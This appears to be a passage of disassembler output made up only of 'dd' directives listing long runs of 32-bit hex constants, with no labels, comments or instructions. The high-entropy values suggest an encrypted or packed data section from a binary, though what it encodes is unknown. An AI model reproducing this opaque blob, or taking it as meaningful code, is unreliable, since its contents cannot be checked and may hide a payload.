		dd 6697265Dh, 16780428h, 0D4F60095h, 4E4C0h, 0EC80CCFEh
		dd 58E628EEh, 0B450660Bh, 2D3705E0h, 397BF345h,	0BA8734AFh
		dd 8D27B1CFh, 2FEC80Ch,	0CFF65328h, 8B5B0128h, 0FA08C902h
		dd 0F53640E9h, 42B7CA14h, 1AA38E97h, 0ADC4EDB3h, 8B638ED9h
		dd 0E1394BA2h, 2F84C9B4h, 4E53FCCCh, 0EB9C9108h, 8A446E85h
		dd 46B9860Ch, 46082CC8h, 0F3880EEBh, 2126D84Fh,	0C7018D1Eh
		dd 7FDE7350h, 8E7F7C01h, 27FE586Ch, 83F89480h, 0ED30F1E7h
		dd 22747989h, 21627B5Ch, 2047AC7h, 4E48171Bh, 2362FD01h
		dd 0C5C4044Bh, 0CCB88043h, 0E648C125h, 33EE1C97h, 0E91CE041h
		dd 44AF99BEh, 551CF358h, 0F9EC5D57h, 0A46F1482h, 0E938226h
		dd 6513FE29h, 3C51A1C9h, 0B7EA194Bh, 8C2F48A5h,	0BABC529Ah
		dd 1CF1800Fh, 2CDC1C8h,	59CA8867h, 5FA82AFFh, 3761EA20h
		dd 0E0B252D3h, 0A128B54Ch, 0FFCE8ADEh, 54257615h, 0B95B1259h
		dd 0A9A71B33h, 3049AA9Dh, 480F3DBAh, 9E97B10h, 44E852D7h
		dd 0EF5C2984h, 0BBF54F60h, 0B25D1092h, 0F8218531h, 0B22ACEF5h
		dd 950E2013h, 6697F614h, 706BED75h, 0EE51E93Dh,	0F7174893h
		dd 9D871AB0h, 0C4240DB2h, 660A90C6h, 124CE6B9h,	4E11A81h
		dd 496BF008h, 0E04E4FFCh, 0C34A292Ch, 68096FCAh, 2E196B37h
		dd 2C117153h, 0A94224DDh, 0C51D4B03h, 0DC4AE17Ch, 0A7BAD251h
		dd 0F62AE0CCh, 722155A2h, 4503F838h, 11B85AF7h,	2A03FC81h
		dd 8A4023C3h, 4830C42Dh, 8420AD48h, 3501CC9Ah, 4CAC7C41h
		dd 447EF668h, 32D5D73h,	993BBFB8h, 0E02E486Bh, 9B1797F8h
		dd 8E48C75h, 4D7F0EEFh,	40DE5EE2h, 545057F0h, 0E794D7F7h
		dd 95B90B3Dh, 0BB7F02D4h, 6F7656FBh, 0FFE00344h, 8C4D942h
		dd 0F34C40F4h, 0E5C180A6h, 0ED81021Ch, 0DAD7F83h, 1CEC0545h
		dd 83920EBEh, 0A93E32AFh, 0FEB0F296h, 503795Eh,	9909CA80h
		dd 0E22F1DF2h, 0F5B25E19h, 0B8D3E98Fh, 29294BB1h, 10A2CE3Bh
		dd 0CC4A86B8h, 0BB7B53CDh, 4D385D02h, 572AE94Bh, 74DFF827h
		dd 0BBB7A033h, 2A6F7B6h, 0B21ECB10h, 0B2D31223h, 0C7659303h
		dd 271320B6h, 7846E2DAh, 0F3E7BF2Dh, 967427B7h,	0E6C0819Fh
		dd 2916C63Dh, 8A8D0D9h,	630BB14Ah, 239C1209h, 89629F8h
		dd 0CB28BEFDh, 0AF4CC60Fh, 9B05D679h, 0CF0CDDF7h, 2070603h
		dd 0E09EC581h, 8BDDF1AAh, 8767613Ah, 0C56801CEh, 962C6C2Ah
		dd 4486CCBCh, 0CD06A984h, 643D62E1h, 5CB4074Eh,	39D106E5h
		dd 23A1657h, 36E43CB3h,	6457F509h, 0A383B551h, 0D016AC31h
		dd 2E588B2h, 0D61D78DCh, 0CDABE1DFh, 665C0036h,	43C5AD3h
		dd 0B7D8C76h, 6812E04Fh, 0B1A15B90h, 0C8096FCAh, 896F02A5h
		dd 8AEAF4EBh, 40B6E058h, 76A036DEh, 12FB62F5h, 67BD11D5h
		dd 0F6D669D1h, 15A80092h, 0EFE95D6Ah, 959297ABh, 0C5D07989h
		dd 813090B7h, 55D8A66h,	32E85209h, 0F156E98Fh, 0EC8A2BDFh
		dd 0B374F912h, 6F334E26h, 0DB251529h, 542F5228h, 0FD21E56Ch
		dd 0B851964Fh, 0C6310FFEh, 81F85701h, 9C94F816h, 3D276828h
		dd 0A5F94744h, 0FB691071h, 0EE6805ECh, 0E93D432Bh, 6725E2BDh
		dd 0F6C152C3h, 0F60BA032h, 7FF5F7D2h, 1A30B43Bh, 3492F7B6h
		dd 6F8731EFh, 2AB84D98h, 39B50E87h, 0F68EEE0h, 0C8CB2571h
		dd 0CEA06345h, 14832089h, 3FF3B7E9h, 9ECFAA07h,	60F01589h
		dd 36A6E9A2h, 2D286695h, 0D5A0D4DEh, 0F6FDF97Fh, 58C20106h
		dd 2E225729h, 6F592D7Ch, 0B468D861h, 2556761Dh,	74348948h
		dd 8C33799Ch, 16067829h, 0FBD2C531h, 6CB04503h,	113CF34Dh
		dd 57180F5Bh, 0D1495AE1h, 7CF4F4EBh, 0AA5989Dh,	10C62614h
		dd 7BE90E2Eh, 0A5E95257h, 243C6E36h, 0D2BE5A6Eh, 92284FA6h
		dd 6CF8898Bh, 7BBA2027h, 0CB814B01h, 1ED64955h,	9F7CBCF0h
		dd 633CDB24h, 0BC3D4A58h, 0F9C4A462h, 0C780E440h, 7B05088h
		dd 0FE012C8Ah, 0E830F2C0h, 56F490D7h, 367202BEh, 0DEF732E6h
		dd 2C1F00DDh, 0A28B2977h, 533556EFh, 0B3D6C2EAh, 57EAB253h
		dd 21E9CB48h, 0E468FFC5h, 5A92C25Eh, 9BEA5384h,	76E915D4h
		dd 0B70F0086h, 0D46866C0h, 4EC0B447h, 8ED6215Ah, 0E908EA51h
		dd 53C0495Fh, 900811B1h, 0FD622506h, 35B9B16Bh,	4C8B23D9h
		dd 2D660C22h, 0FEB48B9h, 2CBF3528h, 595B5181h, 93697041h
		dd 0B202141h, 646A1E5Eh, 9D95CA49h, 66FD40B7h, 987CB652h
		dd 14E8DA2Fh, 0D5B0273Ch, 0A6AC8F67h, 544B2F44h, 0A45A1348h
		dd 0B5EA65C6h, 256D7606h
		dd 0C581FC2h, 1E40E912h, 544C2DB2h, 0F12A202Ah,	8F817AEDh
		dd 5F496DC1h, 31BB055Ah, 305452A2h, 5080C53Dh, 19600568h
		dd 0C2586ED0h, 0E1511B62h, 2C882B88h, 45EB009Ah, 29BA93F6h
		dd 195B0BDh, 25109BF5h,	3BC205D4h, 3A52C0C8h, 390AB37Ah
		dd 50E883CBh, 12D43CF2h, 0CDA55C15h, 162E0B93h,	8457E82Dh
		dd 0FAEC59CAh, 29273643h, 0E102F9C8h, 0B9D85581h, 0B80CC0FAh
		dd 63A9383Ah, 37B10D00h, 0FC2D5AC1h, 2CF73A5Bh,	0C9141C84h
		dd 2C18C72Ah, 0D609F6F9h, 51173268h, 9CDF9A51h,	0CDA97A4Bh
		dd 4626979h, 4763555Dh,	0B88FEAA2h, 327A6162h, 446E6940h
		dd 9321CE26h, 6AD7E909h, 30D804EEh, 939F74BCh, 57E352B4h
		dd 0DF77F28Bh, 0E2A6D7h, 4A1CBE02h, 67E910F6h, 303728A0h
		dd 6D7D3C55h, 9F47E23Bh, 1900B10Bh, 6375D1C7h, 0F1E9350Ch
		dd 9C5CDD7h, 783155Dh, 29672080h, 315C4417h, 0A4DB135Dh
		dd 0CFBB3034h, 38681384h, 0D384F8h, 0AE75F80Fh,	8D012D17h
		dd 0E916854Ch, 447FF5D1h, 0F9C0BAB9h, 2E20921h,	0FCEBC252h
		dd 94C0994h, 9D861C77h,	2742CBDBh, 0E1CE5CCDh, 3E4E0768h
		dd 286BEB99h, 0E5B16895h, 0C6850192h, 6A8F7DFAh, 8E85C602h
		dd 685101DEh, 306F2514h, 60AB1D2Dh, 98B2F010h, 7DD8B904h
		dd 5588332h, 2DDE10DCh,	513F9978h, 4065DF20h, 24CB2D6h
		dd 9B423911h, 0C90C33CAh, 1931C32Ch, 2295DF43h,	0BA027C49h
		dd 23376163h, 3DB3D501h, 5A45F1C2h, 58E95683h, 123D77ACh
		dd 0EE13687Dh, 1FA31C04h, 523961DCh, 0FB9EB5E5h, 0DBD9B2ADh
		dd 7E1ED548h, 3115F182h, 566154D8h, 0CFA8EDB6h,	90B64777h
		dd 4764DC79h, 0E1681759h, 0F7556105h, 4E243E77h, 54495DC7h
		dd 0F0CC6427h, 0BD06558Bh, 4E8B6F2Fh, 17BF0984h, 5C8546EFh
		dd 0D72BBC9Ch, 0E3829134h, 4A6801EBh, 0BF3D482Dh, 0AAE40E5Ah
		dd 0BDD987Fh, 7D0D840Fh, 45D79D90h, 1393A09h, 421679C6h
		dd 0E910BE56h, 16CA9E33h, 0C69F05ACh, 8A008264h, 76B6EE20h
		dd 91D042Ah, 0EE4A5EF2h, 0B2800F94h, 1629570Fh,	0E9A2E9D6h
		dd 226047Ch, 0A9B02CCEh, 6F279EE5h, 0B277973Ch,	5FF885C8h
		dd 92183EBDh, 7A2F9ABh,	540A22B3h, 0CE9CE50Ah, 0ACAE400Dh
		dd 5607D7E9h, 0BE055D2Eh, 55B66916h, 0CBDBB304h, 566ECCABh
		dd 61C82213h, 0AAC7AD00h, 90C91054h, 4520B543h,	887EB450h
		dd 66B0E676h, 287F1349h, 2E94885Eh, 0F42680ACh,	118A608h
		dd 8854ED80h, 0A9373AE8h, 1E519B13h, 41FE6152h,	886DEC80h
		dd 0D5A8BE1h, 8E92A92Ch, 14D86CCCh, 45C99EF4h, 0C07A9184h
		dd 505B0076h, 7DBA0752h, 0D21D731Eh, 0D0711FC9h, 755BC8ADh
		dd 165F2D8Ch, 0FB61B60Eh, 2FD1EBE9h, 60999837h,	1764B8DDh
		dd 0FC375109h, 982D0058h, 1C8AEF6h, 0DDE927C7h,	2AEC36E2h
		dd 8A0A9FA0h, 5A766880h, 0B07B31Ch, 7E45DDFh, 3881E552h
		dd 0CDD83062h, 0CE07053Dh, 970FE96Dh, 1F86C9C4h, 0DD40632h
		dd 181A1745h, 0A8F1E431h, 0ACE1E34Dh, 6158026Ch, 0FB326D84h
		dd 99B8B034h, 354D680Bh, 0CC6C6956h, 5F44BF04h,	20096816h
		dd 8D31AE65h, 5F01CB9Eh, 0CDD27E45h, 0B70550A8h, 97BF3045h
		dd 0B902B0Eh, 645D9A14h, 0B5A316DAh, 7B2FC4CFh,	7DA10258h
		dd 0C5763014h, 765F25CEh, 25054AEBh, 55509430h,	7165682Eh
		dd 0BFF92217h, 69C9ED80h, 2F986C73h, 0E4946F0Eh, 85E82989h
		dd 0EFA398B9h, 0BEB05E12h, 405CDA72h, 807590D5h, 2788F64h
		dd 81118860h, 2D2104F1h, 3750418Eh, 8FE27712h, 1CBF9808h
		dd 0FFEB1258h, 858DA549h, 0AE1268CDh, 50605A63h, 0ECCE5E51h
		dd 1C09014h, 0A66A1FCAh, 0C7F2E97Ah, 68562302h,	604C32A8h
		dd 95FE4119h, 67289C30h, 278846BDh, 0A71E29B6h,	4DB8719Fh
		dd 0D4E2007h, 0D3F5D6A8h, 39D8B19h, 0D03EB616h,	22FE365h
		dd 0CF817607h, 4517444Dh, 4BAAEF60h, 29731306h,	0D54B09FEh
		dd 441896FFh, 7441E314h, 6E1CE02Fh, 4C28A640h, 30252FC6h
		dd 96B55472h, 0B5B4F83h, 0C302F69Eh, 0CEFAC57Eh, 774FCF7Fh
		dd 0D501EF81h, 0F81345BDh, 0F9A29Dh, 0EF8027B7h, 48D7F62Bh
		dd 1D10E6FEh, 4E07A6EAh, 0A500F858h, 0D1A04E9h,	627F6DCBh
		dd 44A9DDF9h, 0C436810Fh, 2D4B81D2h, 0CA31CC1Bh, 44494AB8h
		dd 1FF35B7Dh, 4C9621D3h, 0CFF9050Fh, 5F6B4950h,	4F5347CAh
		dd 0B30A1769h, 2B760B91h, 5F927690h, 0BB6CA902h, 40E8C10Ah
		dd 80848B5Fh, 0FC0F6857h, 65294150h, 37AB0E01h,	0C4414B7Dh
		dd 0D0167E02h, 59FD3F23h, 8A4225EDh, 73F9E9C2h,	74E9CC5Eh
		dd 0FA87012Ah, 2A6AE94Fh, 164DA0B4h, 802F3876h,	26F81A40h
		dd 7489EB25h, 45E53D93h, 97DE1151h, 1C4F090Ah, 69C51AA0h
		dd 4411BD83h, 897F3092h, 28097712h, 0CA801C7Eh,	0EE547C6h
		dd 0AFB02AE9h, 55C23AC7h, 0BB532B80h, 2F976AD2h, 2AE38103h
		dd 771D135Ch, 675E0490h, 0A0D0E949h, 40EF58C5h,	0FAB345F1h
		dd 83A952C6h, 0F810AE1Ah, 5A9FC276h, 3F69DDF7h,	0F97ED93Fh
		dd 0AC977438h, 74BA48ECh, 82137997h, 7B6D59E6h,	0B350077h
		dd 0B84E7338h, 5B82926Eh, 2EE7E52Dh, 0CC0D5705h, 0B9558093h
		dd 27387B99h, 0D85EAD81h, 4A0C8139h, 157C370h, 591655CEh
		dd 0EA5E0F09h, 0EAD8787Dh, 0A5202AC3h, 38E801A2h, 0F5E94271h
		dd 25F0374h, 7B342E24h,	407D3117h, 0B1C39AA7h, 1C60C02h
		dd 849736A4h, 0C8B8FC2Dh, 0C52FB34Ah, 0CBA08FE9h, 0BEE07FC1h
		dd 2B05404Eh, 707A5E22h, 99259FF8h, 8F6F4D5h, 0D19D8EDFh
		dd 0F8A46CCh, 0F65B2FF9h, 0FE262C40h, 0C004C961h, 0F1E802E1h
		dd 2FC8E0B1h, 92497FE9h, 0C7E33A44h, 12754A7Dh,	8B4D042Dh
		dd 0B2BB0078h, 480FE006h, 51051143h, 0A0F01FF9h, 8840BF69h
		dd 128C09B9h, 1D5A1606h, 2A8EC4Dh, 400294BDh, 5615403h
		dd 0D86DD568h, 0F317970Dh, 0C002C9FFh, 87F61ED4h, 548EEFA2h
		dd 545D2508h, 130626C5h, 0BB26CC2Fh, 0C23B6B95h, 0ADFF1DEh
		dd 9D8CBD2Eh, 0E070D2C1h, 214E5C91h, 721EE544h,	5E783500h
		dd 73F46A82h, 3DCB2E4Bh, 0BB4DBF75h, 952FFB2Fh,	2119B03Eh
		dd 715A91D0h, 7674FE35h, 0AE3BBE24h, 0EBADA21Bh, 2C2B7CDAh
		dd 0E270DCA7h, 0CD7F1A6Bh, 835A8DA9h, 0D8032E4Bh, 38D0465Dh
		dd 42CFD84Ch, 0BD1D4720h, 6D9AED41h, 206E4887h,	44D29FCAh
		dd 0EB04B173h, 31FB6869h, 0B41FB1E3h, 0AAE48C61h, 3BB05506h
		dd 0EC4CC0F2h, 0F5A334B1h, 278D49FBh, 49264DD8h, 813C2041h
		dd 0D4232BB4h, 3829CB01h, 258A8710h, 581FD459h,	1C02B8F6h
		dd 0A6E97B46h, 534749B4h, 0F44C90C4h, 6D8B4D83h, 8450E300h
		dd 6C12BF68h, 6136C22Dh, 0A648C357h, 81285C5Bh,	0FDC9A713h
		dd 1010C968h, 81711509h, 0B1813B2Ch, 4FED37B7h,	5D43975h
		dd 9FA0B971h, 0A15C9656h, 60CD5155h, 4F313AD5h,	8304DAE4h
		dd 474C6BE7h, 9F62755h,	4F14F0D7h, 55320B02h, 207F6E01h
		dd 373E8B84h, 0BAA9CB76h, 0FEB1ABDEh, 4F96F26Dh, 0E9585409h
		dd 0B82220D3h, 8448C0h,	35D8F72Bh, 8D2CF59Ch, 58C12113h
		dd 0DE942CBFh, 0A132E6Bh, 6627A5EBh, 62485CF9h,	0B225CD20h
		dd 1FE1E072h, 49CF9481h, 0A969595Ch, 5930E274h,	92AC48C1h
		dd 4E72C185h, 59830570h, 0E9058588h, 0C9F8F4B1h, 0A006318Dh
		dd 2526AC0Dh, 1AA7C57Eh, 4584129Dh, 0B8A0BFh, 52984DDEh
		dd 0E901C183h, 0A59784ECh, 18B85003h, 0FCA48B13h, 4B16A57Ch
		dd 8B4A17BCh, 0B2374C8Ch
		dd 648579B2h, 4882AAB4h, 50A940BAh, 58E21C08h, 5205DFC0h
		dd 0D226E87Bh, 9F9B03BFh, 21F2EB19h, 6F4140C2h,	896F6D07h
		dd 0B093D897h, 0BDCC20C7h, 97AE5A9Fh, 50962114h, 0B4B6568h
		dd 6B6CFE33h, 0B676E6EAh, 92F20D09h, 0B7F90F73h, 0DFCC0EE8h
		dd 68B1B983h, 46C82109h, 68E91A2Fh, 6C7524D0h, 71BA2066h
		dd 0CD342390h, 61820DC9h, 0A3425720h, 77A8925Fh, 0C5A7E5CFh
		dd 10A609F4h, 55805DFBh, 443081BDh, 0E5C11276h,	5037EC05h
		dd 613C5C5Ch, 0CB818069h, 5FF27352h, 90025EE9h,	0F93CB874h
		dd 31BB9713h, 0C0800104h, 965816A2h, 1309920h, 7F4A8EF0h
		dd 5A2A901Bh, 0AB261218h, 26E95678h, 49E2C23Fh,	824B36C9h
		dd 2818260Eh, 0BDF30029h, 0D226A123h, 0F188C121h, 8512C82h
		dd 542D95AFh, 1E3E8A7Dh, 0DCFC4BEBh, 6BA089A2h,	0F588FDC4h
		dd 675912D2h, 53950166h, 7B794A1Fh, 542DF980h, 7042C120h
		dd 406E4F27h, 983AE787h, 3867515Ch, 0CD38505h, 1EBE38CCh
		dd 0D5F7423Ch, 7CE16EADh, 0C1A249E1h, 2142F90Ah, 82517D2Dh
		dd 9AD5F9E9h, 20BC5AA9h, 0BE049F0Bh, 68E6464Dh,	5EF120EAh
		dd 1A5A3AE9h, 4149E6F2h, 7568BE98h, 623F692Eh, 809C234h
		dd 44DDC85Bh, 0C0C5BDC3h, 5C84AF09h, 457E69D4h,	0D2315CE0h
		dd 74692E68h, 2A656B51h, 5CA30925h, 0EFC45BC8h,	69126F8Fh
		dd 4EEA21AFh, 0ED9F8080h, 2C703EECh, 0A9CD4C01h, 0EB440841h
		dd 68B058E8h, 0F19B121Dh, 2413A708h, 3EE0D26h, 0B2C03A06h
		dd 7C4B0734h, 8EA003Ah,	5D46E281h, 0E4ED61CFh, 0F33E490Ah
		dd 9ECA0276h, 0E12DA46Ch, 8263C6A1h, 0CE355A26h, 39E93382h
		dd 0F7667D48h, 4768F909h, 507CDE64h, 7E5B72E9h,	4D06A925h
		dd 582B0891h, 162FBEE1h, 8101C824h, 0C1077589h,	0D882031h
		dd 1C38561Fh, 0CD09D856h, 0E4F95E7Dh, 4B71089h,	20E2BE9h
		dd 0E1DA8CEFh, 364E010Bh, 0FC23F01Eh, 91B162A5h, 39F658C3h
		dd 0F080E812h, 5C4D3605h, 56109D4Bh, 0C6E9C504h, 5C6C3E18h
		dd 13DC2549h, 5400D450h, 0D6F7258Ch, 4C28E94Eh,	3BC178CDh
		dd 2C36A91Bh, 2047076Bh, 0C3D00A5Fh, 1A0E6C0Bh,	1CFB014Eh
		dd 31C080Dh, 0FDDD8B14h, 46EA93D1h, 66B75054h, 3025B2A6h
		dd 42A6DC2Bh, 1B0AAD4Ah, 1F0FB92Ch, 0F8B965F7h,	0A9E16F8h
		dd 213FB7Ah, 0F68B3F4Eh, 9A28A054h, 0FD0948E2h,	8FA012Ah
		dd 54260816h, 0B7814E7h, 325D6855h, 9D7884A9h, 3070B402h
		dd 224A90D8h, 40CC751Fh, 0BD560A6Ch, 3DC92F0Fh,	0D92DB4D4h
		dd 27FE6E87h, 4F311148h, 38EB2792h, 7AF84E44h, 607A8B1h
		dd 323F0FCCh, 0BD652883h, 8444F27Eh, 0C74B6BFAh, 6C9A8470h
		dd 58253E9Bh, 0C4D87E73h, 16CEB335h, 0D81A70A7h, 1868331Bh
		dd 0A83E6463h, 0B3D79A6Dh, 0B90ED832h, 63804998h, 63362C44h
		dd 74F60B0h, 941FAAE2h,	0ACD41233h, 60450160h, 0A55FE957h
		dd 13ADB22Fh, 55892ABDh, 0D428CAFBh, 0A4D2644Eh, 0F1D38293h
		dd 0D1530A17h, 0D22F5FABh, 928AB016h, 5D5B5ABAh, 920D2F36h
		dd 0B0534F86h, 0BC405203h, 80A81CB6h, 0DE86C3EEh, 801CBFEh
		dd 0E9C2B450h, 936F2C54h, 0D3837AE3h, 0B1AEC3ABh, 0E74A7398h
		dd 0E1BAA6C0h, 3FA72435h, 3A5F003Dh, 96E949B6h,	53BE0BB5h
		dd 68560E52h, 7B0B1E2Fh, 1EBD6B84h, 7171678Bh, 551282C7h
		dd 0DC7830FBh, 4D64F61Eh, 45FC0C70h, 7B8CB0B7h,	4EA6F8C1h
		dd 0BA8F0439h, 0DAF70492h, 81C65FCh, 0C703975Eh, 9B84209Bh
		dd 58974F23h, 0AA919D8Fh, 8901E24Bh, 36359CEh, 0AC5A3D24h
		dd 47675A7Dh, 0C5E90930h, 6787BC08h, 0F88DA456h, 13E24E12h
		dd 1011F6B5h, 0FC6BA87Eh, 98BD24F4h, 0BE9BCC4Fh, 276A7CADh
		dd 0F7434633h, 312F0F48h, 7F767C5Eh, 0F5162D3Bh, 7AEC25D1h
		dd 0B861DF75h, 0EF056A42h, 505F4D30h, 0F8744B1Dh, 6F074194h
		dd 57E91004h, 280415ACh, 81332CF8h, 2C8B43Bh, 30A9FD5Ah
		dd 0B76934FFh, 2C12D247h, 2BC437D4h, 0E9A170BCh, 31658965h
		dd 7A3574D8h, 0E963BEFEh, 0BEDD02CBh, 63195215h, 100A1DDh
		dd 0CA6617h, 0F3759C9h,	643418C3h, 0AD3C10C6h, 0B3DE50C0h
		dd 0F397879Ah, 665C8AD8h, 0EC94084Fh, 4C7290Bh,	88051102h
		dd 5A56D8E7h, 0CC9DFDF2h, 25E849EBh, 5043A64Eh,	6812B7CDh
		dd 70CC4FAAh, 0ECC003A3h, 6C48007h, 5D063Bh, 5366E2CCh
		dd 4E305FB7h, 0E3D20BFCh, 0E741D2D0h, 996E30h, 2D4FA8EAh
		dd 428A1695h, 261D0578h, 5C422C8Fh, 0DF1C5870h,	3A072688h
		dd 522011D1h, 9B22032Bh, 2AF18163h, 0E942C1F8h,	0CCFC0B2Dh
		dd 295E12A9h, 7069FCDEh, 14302A41h, 59AD40CEh, 0C09227F8h
		dd 281EB50Fh, 0F48EEBF5h, 0E3E524D9h, 0BCF15157h, 0BDB66EA9h
		dd 0E017609Eh, 0C4C246E9h, 0B1307DACh, 0BD801C13h, 100D12C3h
		dd 4835001Bh, 0E909A1FFh, 736C342Fh, 0E86027AEh, 61494368h
		dd 0A0392F53h, 69C3F16Ch, 0BD31FC24h, 0EF361C03h, 0D62DA112h
		dd 1D728BD9h, 2E9899Dh,	4D80399h, 0D7169EEDh, 1E26EDBBh
		dd 722E3E5Dh, 65AE303h,	0E6028D4Fh, 807207C6h, 608BC384h
		dd 0F735181Eh, 793E10DBh, 919D5324h, 7459E701h,	7E252956h
		dd 0DD10805h, 4B7B012Bh, 0CBAB9E29h, 3A4C6D71h,	7C7316AFh
		dd 0E750BF0Bh, 4F804808h, 9284C034h, 3D4EFCACh,	0A045FE4Bh
		dd 99567C12h, 22C4A2A2h, 0A1E0ECA6h, 520775A8h,	0AEC667E0h
		dd 4B23665Bh, 291B26D3h, 0F65B885Eh, 9C25D827h,	0F6D3CFF7h
		dd 7EB31205h, 0B86075EFh, 0EA5F24FCh, 0D30055C5h, 50A27F52h
		dd 0B5660BDh, 15BDD29h,	918DE84Ah, 6233C96Eh, 0D6E9C2AEh
		dd 0E929FE92h, 0CB228FDFh, 0B71FD04Dh, 68123078h, 8D8C1482h
		dd 1EDC55Dh, 0D570925Ch, 1D98E8F8h, 7716CE04h, 82C71252h
		dd 0A771D625h, 2901CA6Eh, 0FC806ACBh, 4F5A3CA6h, 0EE52F001h
		dd 0DE908F4Ah, 5A873015h, 9264C00Eh, 7F76A342h,	0DA85C700h
		dd 0EBE96493h, 41089472h, 2F5EF021h, 9A2E4344h,	0C613AA16h
		dd 0E5446191h, 0EAD55D02h, 93397178h, 4704FF89h, 800718F7h
		dd 0F6046FEFh, 42DAFF1Bh, 2BC48D4Eh, 1C870504h,	6094CFFAh
		dd 0C226462Eh, 90D09D1Eh, 0B39CE92Ah, 2A96F280h, 926F8D3Dh
		dd 9EFCD4D2h, 10669FC6h, 2E1C11Eh, 0BA974318h, 2E331D55h
		dd 0D55E3063h, 4B179D23h, 0D3EDFD89h, 3595B312h, 23B0D5FEh
		dd 5B257261h, 2DD77C88h, 5CA5E1D4h, 805A03B9h, 0E8829BF5h
		dd 0B94C4260h, 2BA4BBA6h, 74EF8520h, 0B5A3EE29h, 0FDC34A23h
		dd 931945FFh, 0C690E856h, 0F61F5958h, 789553D6h, 3FB24ECAh
		dd 0B034C094h, 4A04FF49h, 56E27A79h, 0A1D95F27h, 0F61A0749h
		dd 0E9679BE1h, 0BC39FAC9h, 277F8708h, 841F510h,	264D8B6Eh
		dd 69639CB9h, 0E74503B6h, 6D821588h, 4878F7B0h,	0E92D2A05h
		dd 1C000863h, 534E4BCAh, 72CE4829h, 0BBDEE07h, 0B60C1C6Bh
		dd 3F93351Bh, 8AA411Eh,	16140CA0h, 0E80E41E9h, 1CC5C0B2h
		dd 9F7D094Ah, 0A70AC45Ah, 829725Ch, 9D401E03h, 0F6CCA64h
		dd 3C0C299Dh, 5D1C0245h, 0D2D07054h, 0E99A96EAh, 576B6C04h
		dd 0AA6C7488h, 9A9CC193h, 0C2FE1DA7h, 2FB84747h, 5B25DDA0h
		dd 0D1B576C4h, 1E262C15h, 0B10516A2h, 0D621737Ch, 0CD781DB1h
		dd 0CDE8A2C4h, 68D241C7h, 2ECC3AC4h, 584C850h, 1FFCBE8Dh
		dd 0E520E802h, 0EA688500h, 0F82CBE1Bh, 0B51D7AE9h, 82A71FEBh
		dd 397C692Dh, 3ABF6172h, 0CF21446Fh, 0C1C4EE59h, 0EF7E94BFh
		dd 0B1E97D71h, 0B2072C38h
		dd 95E23056h, 4F22A858h, 92EC298Dh, 52E69FDDh, 613AD99h
		dd 0DFE6B7B1h, 83880FE7h, 93481D64h, 4FCFF85Fh,	9A6F29F1h
		dd 0AAE90977h, 15C0E893h, 0B440322h, 0D2215D2Dh, 0F7E8D1A0h
		dd 260DD81Ch, 2502EA00h, 7F7E6287h, 2327092Bh, 1B5EA772h
		dd 4CA1B08Ch, 53F0ABDh,	2DE16E67h, 0E5886903h, 0A696EE92h
		dd 0A96D3AC5h, 13ABF288h, 0FBF96B09h, 855F510Bh, 9F429626h
		dd 40D831ADh, 4E35E6C0h, 1119B084h, 57C40F04h, 16EAE9D1h
		dd 0F498FC01h, 147E2DEFh, 5957E085h, 31F950C1h,	412152EAh
		dd 68D9A46Bh, 92388025h, 0B96C7D41h, 90E9BBA8h,	7A7AABDh
		dd 5A7FFE25h, 0F90EA057h, 80770B68h, 0BA625AE9h, 0D75E5FE0h
		dd 3B685198h, 0C94A1D58h, 0E02E7051h, 0E82980B5h, 0B05AF1B8h
		dd 0CC51C48h, 51129098h, 9188CDB3h, 3BCE24C6h, 0C8C886BCh
		dd 0F816A1A4h, 0A1B1FD13h, 90BF627h, 0FF54B28Ah, 0C410FDA4h
		dd 6A715C2Dh, 0F531983Dh, 1D07CA53h, 803AA826h,	3474DDE2h
		dd 0E97B4A43h, 2CD3D5h,	1F3E2C80h, 2787C62Dh, 0B1767273h
		dd 4C798227h, 0A231FD06h, 0A43C4431h, 68135575h, 0F8A3F07h
		dd 29969659h, 0CA073283h, 0CE00EA56h, 0BE3E904Fh, 6FB01234h
		dd 14453C1h, 5178992Dh,	802092Fh, 0AEED5F5Eh, 0B49AA22Fh
		dd 19770A62h, 74597573h, 0AA253C74h, 0CADCA10h,	17B40C08h
		dd 0B231F55Bh, 0F69220E1h, 0C288125Ah, 21F8866h, 0B905865Ah
		dd 0B599EB4Bh, 0DA688FE5h, 8970617Eh, 78505C68h, 9988DF6Eh
		dd 37B2C02h, 21714DAAh,	930F0C05h, 13BEAFDBh, 882DA4DEh
		dd 95A32E0h, 0FAE453ADh, 78F30DC2h, 8326A9F1h, 2F689330h
		dd 0B6C548B8h, 0E95CCD22h, 83224FC0h, 2530567Ah, 9C80DDD8h
		dd 0CD274AACh, 25845260h, 2C0CEDE9h, 1D40E3CCh,	5EB31C1h
		dd 84F8D412h, 8247C51h,	4177D1A6h, 54176A9Ah, 0AC4A88B9h
		dd 370D0277h, 4089641Ch, 8268B3BEh, 87C5005Fh, 7D564FFEh
		dd 0BDC5EE57h, 2189E271h, 1693E51Eh, 0B740B0D3h, 0CE277277h
		dd 9D4BCE7Bh, 61994A90h, 203EDB97h, 796CC58Eh, 24A6BD11h
		dd 26B8BB37h, 8115B9D8h, 807A00F1h, 55D3A5Ch, 77B040Bh
		dd 0E8E2E95Fh, 64CB4E0Dh, 50185E10h, 594FCBFBh,	0ED5A2FA8h
		dd 5A60A39Dh, 833DB087h, 0EA1BD983h, 5F120B29h,	4FE5AC59h
		dd 7CFEA8A0h, 4B3BEAC1h, 0F938C928h, 208348ECh,	8F3BC69Ah
		dd 6DB85047h, 93627582h, 0D5869257h, 77407E8Eh,	0E0D16F46h
		dd 7BBB531Ch, 0E927ABC2h, 9D4E500Dh, 123FCB45h,	83F5F980h
		dd 0D8636640h, 0F19F5B7Dh, 3A003AD7h, 0C78931F2h, 3FF09561h
		dd 5381A573h, 96DC7ED8h, 59CC80AEh, 0E6D12190h,	16FCC6A3h
		dd 0BF0E37AFh, 0A589E1EAh, 0BB506660h, 14C227C8h, 0F014E14h
		dd 2168C8BFh, 0F0CA536Fh, 242DAD5Ah, 6887052Fh,	0FF25951Bh
		dd 39E94271h, 0BC5DF824h, 0DD9ADB4h, 93AEE941h,	0AAC5658Eh
		dd 0B63CD4BCh, 30C74E17h, 5E5A56EEh, 52D6F71Dh,	0F45B20A4h
		dd 0A218EFBCh, 0CDEF4FA1h, 17867D39h, 0D409FA89h, 0F484CC83h
		dd 3AF89E66h, 4A57AD50h, 9705A809h, 0DF39FBD1h,	0BE92082Ch
		dd 56E30E0Bh, 6C09D150h, 52B95B7Ah, 7DF908A5h, 17A95E17h
		dd 680A69D1h, 0C0AD0AA6h, 11800317h, 8E2A02B5h,	49030BF7h
		dd 20BA2391h, 7D2A0A40h, 5673CC2Fh, 0E94E4194h,	81016E3Dh
